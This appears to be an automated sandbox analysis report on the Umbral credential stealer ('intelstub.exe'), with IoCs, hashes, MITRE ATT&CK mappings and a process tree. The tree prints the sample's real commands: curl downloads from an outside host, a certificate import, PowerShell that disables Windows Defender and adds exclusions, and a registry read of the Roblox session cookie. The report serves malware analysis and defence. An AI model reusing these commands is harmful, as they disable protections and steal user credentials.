umbral | 9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03

Resubmissions

08-12-2024 02:44

241208-c76qvsykax 10

08-12-2024 02:42

241208-c7bwgstldm 10

08-12-2024 02:40

241208-c6dcxstlal 10

08-12-2024 02:37

241208-c4lxaaxrcv 10

Analysis

max time kernel
35s
max time network
37s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
08-12-2024 02:42

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General

Target

intelstub.exe
Size

45KB
MD5

46dad3f34a1ff25b259446bac02cca4a
SHA1

08be9e8701d40bb0d968106793480eeb25adeb26
SHA256

9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03
SHA512

67338468551bc926a88b8e40f40177dea339debd701ad463f9e2cb763cf82f755743f3ee82c3626aa326c820afb93020d0d9526fc38affcb9b3af92725b393f6
SSDEEP

768:R4yvRGAc8gygFxLgkzLQgzcOybPofSzVxsBKfwJlVE3iPmbL52:9c8Oxz8YcO+A6zV4Kfd7

Score

10^/10

umbral defense_evasion execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x002a00000004506c-13.dat	family_umbral
behavioral1/memory/768-15-0x000001E506B30000-0x000001E506B70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe
2452	powershell.exe
2496	powershell.exe
1076	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
768	IntelSoftwareAssetManagerService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ipinfo.io
22	ipinfo.io
23	ip-api.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IME\zvcjd0.pfx	curl.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3472	wmic.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
3748	wmic.exe
3748	wmic.exe
3748	wmic.exe
3748	wmic.exe
768	IntelSoftwareAssetManagerService.exe
228	wmic.exe
228	wmic.exe
228	wmic.exe
228	wmic.exe
768	IntelSoftwareAssetManagerService.exe
2544	powershell.exe
2544	powershell.exe
2452	powershell.exe
2452	powershell.exe
2496	powershell.exe
2496	powershell.exe
2072	powershell.exe
2072	powershell.exe
4720	wmic.exe
4720	wmic.exe
4720	wmic.exe
4720	wmic.exe
4728	wmic.exe
4728	wmic.exe
4728	wmic.exe
4728	wmic.exe
1004	wmic.exe
1004	wmic.exe
1004	wmic.exe
1004	wmic.exe
1076	powershell.exe
1076	powershell.exe
3472	wmic.exe
3472	wmic.exe
3472	wmic.exe
3472	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3748	wmic.exe
Token: SeSecurityPrivilege	3748	wmic.exe
Token: SeTakeOwnershipPrivilege	3748	wmic.exe
Token: SeLoadDriverPrivilege	3748	wmic.exe
Token: SeSystemProfilePrivilege	3748	wmic.exe
Token: SeSystemtimePrivilege	3748	wmic.exe
Token: SeProfSingleProcessPrivilege	3748	wmic.exe
Token: SeIncBasePriorityPrivilege	3748	wmic.exe
Token: SeCreatePagefilePrivilege	3748	wmic.exe
Token: SeBackupPrivilege	3748	wmic.exe
Token: SeRestorePrivilege	3748	wmic.exe
Token: SeShutdownPrivilege	3748	wmic.exe
Token: SeDebugPrivilege	3748	wmic.exe
Token: SeSystemEnvironmentPrivilege	3748	wmic.exe
Token: SeRemoteShutdownPrivilege	3748	wmic.exe
Token: SeUndockPrivilege	3748	wmic.exe
Token: SeManageVolumePrivilege	3748	wmic.exe
Token: 33	3748	wmic.exe
Token: 34	3748	wmic.exe
Token: 35	3748	wmic.exe
Token: 36	3748	wmic.exe
Token: SeIncreaseQuotaPrivilege	3748	wmic.exe
Token: SeSecurityPrivilege	3748	wmic.exe
Token: SeTakeOwnershipPrivilege	3748	wmic.exe
Token: SeLoadDriverPrivilege	3748	wmic.exe
Token: SeSystemProfilePrivilege	3748	wmic.exe
Token: SeSystemtimePrivilege	3748	wmic.exe
Token: SeProfSingleProcessPrivilege	3748	wmic.exe
Token: SeIncBasePriorityPrivilege	3748	wmic.exe
Token: SeCreatePagefilePrivilege	3748	wmic.exe
Token: SeBackupPrivilege	3748	wmic.exe
Token: SeRestorePrivilege	3748	wmic.exe
Token: SeShutdownPrivilege	3748	wmic.exe
Token: SeDebugPrivilege	3748	wmic.exe
Token: SeSystemEnvironmentPrivilege	3748	wmic.exe
Token: SeRemoteShutdownPrivilege	3748	wmic.exe
Token: SeUndockPrivilege	3748	wmic.exe
Token: SeManageVolumePrivilege	3748	wmic.exe
Token: 33	3748	wmic.exe
Token: 34	3748	wmic.exe
Token: 35	3748	wmic.exe
Token: 36	3748	wmic.exe
Token: SeDebugPrivilege	768	IntelSoftwareAssetManagerService.exe
Token: SeIncreaseQuotaPrivilege	228	wmic.exe
Token: SeSecurityPrivilege	228	wmic.exe
Token: SeTakeOwnershipPrivilege	228	wmic.exe
Token: SeLoadDriverPrivilege	228	wmic.exe
Token: SeSystemProfilePrivilege	228	wmic.exe
Token: SeSystemtimePrivilege	228	wmic.exe
Token: SeProfSingleProcessPrivilege	228	wmic.exe
Token: SeIncBasePriorityPrivilege	228	wmic.exe
Token: SeCreatePagefilePrivilege	228	wmic.exe
Token: SeBackupPrivilege	228	wmic.exe
Token: SeRestorePrivilege	228	wmic.exe
Token: SeShutdownPrivilege	228	wmic.exe
Token: SeDebugPrivilege	228	wmic.exe
Token: SeSystemEnvironmentPrivilege	228	wmic.exe
Token: SeRemoteShutdownPrivilege	228	wmic.exe
Token: SeUndockPrivilege	228	wmic.exe
Token: SeManageVolumePrivilege	228	wmic.exe
Token: 33	228	wmic.exe
Token: 34	228	wmic.exe
Token: 35	228	wmic.exe
Token: 36	228	wmic.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 1384	1632	intelstub.exe	83
PID 1632 wrote to memory of 1384	1632	intelstub.exe	83
PID 1384 wrote to memory of 560	1384	cmd.exe	84
PID 1384 wrote to memory of 560	1384	cmd.exe	84
PID 1632 wrote to memory of 4128	1632	intelstub.exe	85
PID 1632 wrote to memory of 4128	1632	intelstub.exe	85
PID 4128 wrote to memory of 828	4128	cmd.exe	86
PID 4128 wrote to memory of 828	4128	cmd.exe	86
PID 1632 wrote to memory of 3100	1632	intelstub.exe	87
PID 1632 wrote to memory of 3100	1632	intelstub.exe	87
PID 1632 wrote to memory of 3840	1632	intelstub.exe	88
PID 1632 wrote to memory of 3840	1632	intelstub.exe	88
PID 3840 wrote to memory of 772	3840	cmd.exe	89
PID 3840 wrote to memory of 772	3840	cmd.exe	89
PID 1632 wrote to memory of 2096	1632	intelstub.exe	90
PID 1632 wrote to memory of 2096	1632	intelstub.exe	90
PID 2096 wrote to memory of 768	2096	cmd.exe	91
PID 2096 wrote to memory of 768	2096	cmd.exe	91
PID 768 wrote to memory of 3748	768	IntelSoftwareAssetManagerService.exe	92
PID 768 wrote to memory of 3748	768	IntelSoftwareAssetManagerService.exe	92
PID 768 wrote to memory of 228	768	IntelSoftwareAssetManagerService.exe	97
PID 768 wrote to memory of 228	768	IntelSoftwareAssetManagerService.exe	97
PID 768 wrote to memory of 2544	768	IntelSoftwareAssetManagerService.exe	99
PID 768 wrote to memory of 2544	768	IntelSoftwareAssetManagerService.exe	99
PID 768 wrote to memory of 2452	768	IntelSoftwareAssetManagerService.exe	103
PID 768 wrote to memory of 2452	768	IntelSoftwareAssetManagerService.exe	103
PID 768 wrote to memory of 2496	768	IntelSoftwareAssetManagerService.exe	105
PID 768 wrote to memory of 2496	768	IntelSoftwareAssetManagerService.exe	105
PID 768 wrote to memory of 2072	768	IntelSoftwareAssetManagerService.exe	107
PID 768 wrote to memory of 2072	768	IntelSoftwareAssetManagerService.exe	107
PID 768 wrote to memory of 4720	768	IntelSoftwareAssetManagerService.exe	109
PID 768 wrote to memory of 4720	768	IntelSoftwareAssetManagerService.exe	109
PID 768 wrote to memory of 4728	768	IntelSoftwareAssetManagerService.exe	111
PID 768 wrote to memory of 4728	768	IntelSoftwareAssetManagerService.exe	111
PID 768 wrote to memory of 1004	768	IntelSoftwareAssetManagerService.exe	113
PID 768 wrote to memory of 1004	768	IntelSoftwareAssetManagerService.exe	113
PID 768 wrote to memory of 1076	768	IntelSoftwareAssetManagerService.exe	115
PID 768 wrote to memory of 1076	768	IntelSoftwareAssetManagerService.exe	115
PID 768 wrote to memory of 3472	768	IntelSoftwareAssetManagerService.exe	118
PID 768 wrote to memory of 3472	768	IntelSoftwareAssetManagerService.exe	118

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.7.1
HTTP User-Agent header	15	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\intelstub.exe
"C:\Users\Admin\AppData\Local\Temp\intelstub.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
    3⤵
    - Drops file in Windows directory
    PID:560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\system32\certutil.exe
    certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
    3⤵
    PID:828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\IME\zvcjd0.pfx
  2⤵
  PID:3100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
    3⤵
    PID:772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3748
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2072
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4720
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4728
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1076
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c67441dfa09f61bca500bb43407c56b8

SHA1
5a56cf7cbeb48c109e2128c31b681fac3959157b

SHA256
63082da456c124d0bc516d2161d1613db5f3008d903e4066d2c7b4e90b435f33

SHA512
325de8b718b3a01df05e20e028c5882240e5fd2e96c771361b776312923ff178f27494a1f5249bf6d7365a99155eb8735a51366e85597008e6a10462e63ee0e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ce01b4c135dd9bad0f293ac2e8374aa1

SHA1
993bb587f30064bbf10116a0e289dd31b8ca81a9

SHA256
98759585e7397ef4ee48fe5a90af18a778608c72896870d7d32710b352c683e0

SHA512
d42a46538672f3d45e1ad33d465d2da73c44b5b6114249581eec5129434db71e7ccf4c0f82a783e717fa052e0e22b71427a436ff3cbbaa4bab5da6894e464757

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6751297b813056ee1524db77d90d1f2a

SHA1
2bb71c8bc5fa6454df2f9fcf2e3e827d7e644a75

SHA256
4091eb635522e7a676f37e3a815002a736053c1293deb9f27e63b89304441210

SHA512
71532b405d547f17335b816ebebd03f64d68b80f2356da7508f08dec9700750b0c30dc1c800ca4b8cf068822ef42c4c39b7ac1df612be107e45fffcb66e3d7ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xaf5gwvm.yog.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe

Filesize
238KB

MD5
66574582c2e810055676407bdd671636

SHA1
71a07c0906e65524d6844aa0a65e90ee682eb6c5

SHA256
5a05e0c1a7b22baaaa9268ef6f0d9a5524826fdc3871a59c5134f7354baa9346

SHA512
04c5dc624009d1127319f0f32c137a4bab6b1aec10e3fd5fdad4372c8a09b8f894980834d6d0d5ee3920ccb3aa3d3e84fe6e1010b6b6dabdb6c20e2f047b5341

Download Submit
C:\Windows\IME\zvcjd0.pfx

Filesize
2KB

MD5
044c6ed5926cda780ca3506829585245

SHA1
b958068c7f440fffd712e9a0704f5234537b22d4

SHA256
21115f915d5e38fb38be88a627010d39cb7e4b0008854530e3a8fa117f45cfea

SHA512
4d00d57e4f0e12c01d5455cf81f685b04b9446aa026b8579009a271dab5eacc298530625e995ff910a9cc6442392fd2098d517b86b7ad0f713f689324e5f0601

Download Submit
memory/768-40-0x000001E521250000-0x000001E5212C6000-memory.dmp

Filesize
472KB

Download
memory/768-41-0x000001E5212D0000-0x000001E521320000-memory.dmp

Filesize
320KB

Download
memory/768-42-0x000001E5211F0000-0x000001E52120E000-memory.dmp

Filesize
120KB

Download
memory/768-15-0x000001E506B30000-0x000001E506B70000-memory.dmp

Filesize
256KB

Download
memory/768-67-0x000001E521210000-0x000001E52121A000-memory.dmp

Filesize
40KB

Download
memory/768-68-0x000001E521320000-0x000001E521332000-memory.dmp

Filesize
72KB

Download
memory/2544-25-0x000002A4C20E0000-0x000002A4C2102000-memory.dmp

Filesize
136KB

Download